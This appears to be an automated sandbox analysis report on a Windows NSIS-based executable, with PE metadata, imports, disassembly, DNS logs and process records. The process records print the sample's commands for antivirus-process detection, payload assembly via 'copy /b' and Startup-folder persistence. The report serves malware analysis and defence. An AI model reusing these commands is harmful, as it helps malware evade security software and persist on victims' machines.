Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FD26480318Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FD264802E6Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FD264802E5Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FD26480075Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FD264802B31h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FD2648007E3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FD26480075Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x2f3a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x191be7	0x2868
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x2f3a	0x3000	c15fab2d5ae919ed0bc47dbc7b92bcf1	False	0.5292154947916666	data	5.37146345911248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf7000	0xf32	0x1000	c37dbd85adbacba5815fd64300b19e35	False	0.5908203125	data	5.4190090723243225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41d8	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5450569568755086
RT_DIALOG	0xf6840	0x100	data	English	United States	0.5234375
RT_DIALOG	0xf6940	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xf6a5c	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xf6abc	0x14	data	English	United States	1.1
RT_VERSION	0xf6ad0	0x194	OpenPGP Secret Key	English	United States	0.5693069306930693
RT_MANIFEST	0xf6c64	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:51:05.298547983 CET	59959	53	192.168.2.6	1.1.1.1
Dec 18, 2024 14:51:05.436534882 CET	53	59959	1.1.1.1	192.168.2.6
Dec 18, 2024 14:51:19.427958965 CET	56572	53	192.168.2.6	1.1.1.1
Dec 18, 2024 14:51:19.565439939 CET	53	56572	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 14:51:05.298547983 CET	192.168.2.6	1.1.1.1	0xb97c	Standard query (0)	zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:51:19.427958965 CET	192.168.2.6	1.1.1.1	0x9815	Standard query (0)	zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 14:51:05.436534882 CET	1.1.1.1	192.168.2.6	0xb97c	Name error (3)	zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:51:19.565439939 CET	1.1.1.1	192.168.2.6	0x9815	Name error (3)	zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	08:50:57
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\ldqj18tn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ldqj18tn.exe"
Imagebase:	0x400000
File size:	1'656'911 bytes
MD5 hash:	574AB8397D011243CB52BEF069BAD2DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:51:00
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:51:00
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:51:01
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x550000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:51:01
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xd90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:51:02
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x550000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:51:02
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0xd90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:51:03
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 704579
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:51:03
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "MARTNMSPIDERRINGTONE" Mh
Imagebase:	0xd90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:51:03
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Consequence + ..\Gently + ..\Situations + ..\International + ..\Jet + ..\Commodities + ..\Mood + ..\Fastest + ..\Estimate + ..\Jessica + ..\Prof + ..\Becoming + ..\Princess + ..\Required + ..\Traveller + ..\Against u
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:51:03
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\704579\Organizational.pif
Wow64 process (32bit):	true
Commandline:	Organizational.pif u
Imagebase:	0xef0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:51:03
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xea0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:51:04
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & echo URL="C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:51:04
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:51:15
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js"
Imagebase:	0x7ff7b4620000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:51:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr" "C:\Users\user\AppData\Local\TechMesh Dynamics\M"
Imagebase:	0xd70000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1526
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

SeShutdownPrivilege, xrefs: 00403C16
~nsu.tmp, xrefs: 00403AF7
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
Error launching installer, xrefs: 00403A7D
/D=, xrefs: 004039A6
NSIS Error, xrefs: 004038E2
1C, xrefs: 00403B56
NCRC, xrefs: 0040397C

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
